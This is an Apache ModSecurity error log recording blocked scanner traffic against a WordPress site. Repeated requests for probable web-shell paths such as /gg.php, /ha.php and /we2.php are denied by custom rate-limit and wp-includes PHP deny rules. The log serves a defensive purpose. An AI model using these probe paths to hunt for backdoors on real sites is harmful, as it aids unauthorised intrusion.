[Sat Feb 28 20:49:37.882854 2026] [:error] [pid 49763:tid 49784] [client 20.104.124.39:50082] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aaLkYbTHSOG_yf2PpqFEOAAAAdI"]
[Sat Feb 28 20:49:40.027405 2026] [:error] [pid 49763:tid 49769] [client 20.104.124.39:50134] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aaLkZLTHSOG_yf2PpqFEQgAAAcM"]
[Sat Feb 28 20:49:42.376914 2026] [:error] [pid 49763:tid 49778] [client 20.104.124.39:50153] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aaLkZrTHSOG_yf2PpqFETQAAAcw"]
[Sat Feb 28 20:49:45.056491 2026] [:error] [pid 49763:tid 49778] [client 20.104.124.39:50058] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admin/function.php"] [unique_id "aaLkabTHSOG_yf2PpqFEYAAAAcw"]
[Sat Feb 28 20:49:46.343258 2026] [:error] [pid 39183:tid 39204] [client 20.104.124.39:50225] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaLkahCf4HvhVePw3LYoWAAAAAw"]
[Sat Feb 28 20:49:48.734180 2026] [:error] [pid 11791:tid 11802] [client 20.104.124.39:50175] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaLkbGuX5e1Q32gqxH2-vQAAAQk"]
[Sat Feb 28 20:49:49.884798 2026] [:error] [pid 49763:tid 49775] [client 20.104.124.39:50239] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaLkbbTHSOG_yf2PpqFEbgAAAck"]
[Sat Feb 28 20:49:50.888329 2026] [:error] [pid 39183:tid 39207] [client 20.104.124.39:50187] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/index.php"] [unique_id "aaLkbhCf4HvhVePw3LYocQAAAA8"]
[Sat Feb 28 20:49:52.621794 2026] [:error] [pid 49763:tid 49775] [client 20.104.124.39:50165] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaLkcLTHSOG_yf2PpqFEhgAAAck"]
[Sat Feb 28 20:49:53.480776 2026] [:error] [pid 52460:tid 52485] [client 20.104.124.39:50230] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaLkcbLWOogAgHGh62RzcgAAAZY"]
[Sat Feb 28 20:49:54.380346 2026] [:error] [pid 39183:tid 39212] [client 20.104.124.39:50218] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaLkchCf4HvhVePw3LYoeAAAABQ"]
[Sat Feb 28 20:49:55.548355 2026] [:error] [pid 39292:tid 39305] [client 20.104.124.39:50055] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/colors/blue/index.php"] [unique_id "aaLkc6IAO5fN7BxyqcFyqAAAAMs"]
[Sat Feb 28 20:49:57.853175 2026] [:error] [pid 49763:tid 49776] [client 20.104.124.39:50057] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aaLkdbTHSOG_yf2PpqFEvQAAAco"]
[Sat Feb 28 20:49:59.561865 2026] [:error] [pid 39183:tid 39204] [client 20.104.124.39:50202] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aaLkdxCf4HvhVePw3LYoigAAAAw"]
[Sat Feb 28 20:50:00.483696 2026] [:error] [pid 49763:tid 49788] [client 20.104.124.39:50224] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aaLkeLTHSOG_yf2PpqFE1QAAAdY"]
[Sat Feb 28 20:50:01.910495 2026] [:error] [pid 39184:tid 39224] [client 20.104.124.39:50122] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/security.php"] [unique_id "aaLkeVtZF9Zd_U7easC0sgAAAEU"]
[Sat Feb 28 20:50:02.202854 2026] [:error] [pid 49763:tid 49790] [client 40.80.89.74:4495] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLkerTHSOG_yf2PpqFE8gAAAdg"]
[Sat Feb 28 20:50:02.780264 2026] [:error] [pid 49763:tid 49780] [client 40.80.89.74:4543] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLkerTHSOG_yf2PpqFE9QAAAc4"]
[Sat Feb 28 20:50:03.362185 2026] [:error] [pid 39185:tid 39266] [client 40.80.89.74:4527] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLkexVE-FfM89u7BQacbgAAAJQ"]
[Sat Feb 28 20:50:03.556138 2026] [:error] [pid 39184:tid 39240] [client 20.104.124.39:50077] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaLke1tZF9Zd_U7easC0tgAAAFU"]
[Sat Feb 28 20:50:03.923905 2026] [:error] [pid 39183:tid 39214] [client 40.80.89.74:4816] [client 40.80.89.74] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLkexCf4HvhVePw3LYomQAAABY"]
[Sat Feb 28 20:50:06.076636 2026] [:error] [pid 39183:tid 39214] [client 20.104.124.39:50143] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaLkfhCf4HvhVePw3LYoqQAAABY"]
[Sat Feb 28 20:50:08.366838 2026] [:error] [pid 22194:tid 22198] [client 20.104.124.39:50157] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaLkgH6mbajs3bzQGyufrAAAAUI"]
[Sat Feb 28 20:50:10.082289 2026] [:error] [pid 11791:tid 11815] [client 20.104.124.39:50279] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aaLkgmuX5e1Q32gqxH2-zgAAARY"]
[Sat Feb 28 20:50:10.999851 2026] [:error] [pid 22194:tid 22208] [client 20.104.124.39:50159] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaLkgn6mbajs3bzQGyufrQAAAUw"]
[Sat Feb 28 20:50:11.867557 2026] [:error] [pid 52460:tid 52487] [client 20.104.124.39:50068] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaLkg7LWOogAgHGh62RzowAAAZg"]
[Sat Feb 28 20:50:13.508170 2026] [:error] [pid 39183:tid 39201] [client 20.104.124.39:50195] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaLkhRCf4HvhVePw3LYowgAAAAk"]
[Sat Feb 28 20:50:15.979336 2026] [:error] [pid 39185:tid 39267] [client 20.104.124.39:50150] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/index.php"] [unique_id "aaLkhxVE-FfM89u7BQacdAAAAJU"]
[Sat Feb 28 20:50:19.081140 2026] [:error] [pid 11791:tid 11811] [client 20.104.124.39:49989] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaLki2uX5e1Q32gqxH2-3wAAARI"]
[Sat Feb 28 20:50:21.149950 2026] [:error] [pid 39183:tid 39200] [client 20.104.124.39:50162] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaLkjRCf4HvhVePw3LYo6AAAAAg"]
[Sat Feb 28 20:50:23.495595 2026] [:error] [pid 22194:tid 22207] [client 20.104.124.39:50059] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaLkj36mbajs3bzQGyuftgAAAUs"]
[Sat Feb 28 20:50:26.153550 2026] [:error] [pid 39185:tid 39260] [client 20.104.124.39:50220] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/upgrade/about.php"] [unique_id "aaLkkhVE-FfM89u7BQacggAAAI4"]
[Sat Feb 28 20:50:29.376667 2026] [:error] [pid 39183:tid 39200] [client 20.104.124.39:50076] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaLklRCf4HvhVePw3LYo_AAAAAg"]
[Sat Feb 28 20:50:39.297867 2026] [:error] [pid 52460:tid 52473] [client 20.104.124.39:50106] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/codemirror/index.php"] [unique_id "aaLkn7LWOogAgHGh62Rz5QAAAYo"]
[Sat Feb 28 20:50:42.058931 2026] [:error] [pid 39184:tid 39227] [client 20.104.124.39:50291] [client 20.104.124.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-patterns/index.php"] [unique_id "aaLkoltZF9Zd_U7easC1IgAAAEg"]
[Sat Feb 28 20:50:43.550723 2026] [:error] [pid 39184:tid 39234] [client 20.104.124.39:50292] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaLko1tZF9Zd_U7easC1JwAAAE8"]
[Sat Feb 28 20:50:44.350585 2026] [:error] [pid 39183:tid 39205] [client 20.104.124.39:50207] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaLkpBCf4HvhVePw3LYpNAAAAA0"]
[Sat Feb 28 20:50:45.035505 2026] [:error] [pid 49763:tid 49784] [client 20.104.124.39:49988] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaLkpbTHSOG_yf2PpqFFmgAAAdI"]
[Sat Feb 28 20:50:46.153279 2026] [:error] [pid 52460:tid 52473] [client 20.104.124.39:50247] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ioxi-o1.php"] [unique_id "aaLkprLWOogAgHGh62Rz9AAAAYo"]
[Sat Feb 28 20:50:47.324613 2026] [:error] [pid 39183:tid 39197] [client 20.104.124.39:50241] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aaLkpxCf4HvhVePw3LYpRQAAAAU"]
[Sat Feb 28 20:50:48.225413 2026] [:error] [pid 11791:tid 11816] [client 20.104.124.39:50054] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aaLkqGuX5e1Q32gqxH2_NwAAARc"]
[Sat Feb 28 20:50:49.196440 2026] [:error] [pid 22194:tid 22214] [client 20.104.124.39:50200] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aaLkqX6mbajs3bzQGyuf1wAAAVI"]
[Sat Feb 28 20:50:51.120787 2026] [:error] [pid 39185:tid 39258] [client 20.104.124.39:50258] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/juuuu.php"] [unique_id "aaLkqxVE-FfM89u7BQaclwAAAIw"]
[Sat Feb 28 20:50:53.210935 2026] [:error] [pid 39184:tid 39239] [client 20.104.124.39:50274] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aaLkrVtZF9Zd_U7easC1NgAAAFQ"]
[Sat Feb 28 20:50:54.956227 2026] [:error] [pid 49763:tid 49788] [client 20.104.124.39:50182] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aaLkrrTHSOG_yf2PpqFFpQAAAdY"]
[Sat Feb 28 20:50:56.795783 2026] [:error] [pid 52460:tid 52464] [client 20.104.124.39:50257] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aaLksLLWOogAgHGh62R0BwAAAYE"]
[Sat Feb 28 20:50:58.706740 2026] [:error] [pid 39184:tid 39220] [client 20.104.124.39:50166] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ha.php"] [unique_id "aaLksltZF9Zd_U7easC1OgAAAEE"]
[Sat Feb 28 20:51:00.515172 2026] [:error] [pid 22194:tid 22206] [client 20.104.124.39:50268] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aaLktH6mbajs3bzQGyugHgAAAUo"]
[Sat Feb 28 20:51:02.401782 2026] [:error] [pid 39292:tid 39302] [client 20.104.124.39:50210] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aaLktqIAO5fN7BxyqcFy5wAAAMg"]
[Sat Feb 28 20:51:03.086365 2026] [:error] [pid 49763:tid 49767] [client 20.104.124.39:50226] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aaLkt7THSOG_yf2PpqFFrgAAAcE"]
[Sat Feb 28 20:51:04.370336 2026] [:error] [pid 49763:tid 49774] [client 20.104.124.39:50160] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/gg.php"] [unique_id "aaLkuLTHSOG_yf2PpqFFtQAAAcg"]
[Sat Feb 28 20:51:06.452024 2026] [:error] [pid 39184:tid 39241] [client 20.104.124.39:49990] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aaLkultZF9Zd_U7easC1QAAAAFY"]
[Sat Feb 28 20:51:08.584184 2026] [:error] [pid 39184:tid 39219] [client 20.104.124.39:49992] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aaLkvFtZF9Zd_U7easC1RAAAAEA"]
[Sat Feb 28 20:51:10.816997 2026] [:error] [pid 39183:tid 39205] [client 20.104.124.39:50001] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aaLkvhCf4HvhVePw3LYpnAAAAA0"]
[Sat Feb 28 20:51:12.040022 2026] [:error] [pid 49763:tid 49782] [client 20.104.124.39:50017] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we2.php"] [unique_id "aaLkwLTHSOG_yf2PpqFF0wAAAdA"]
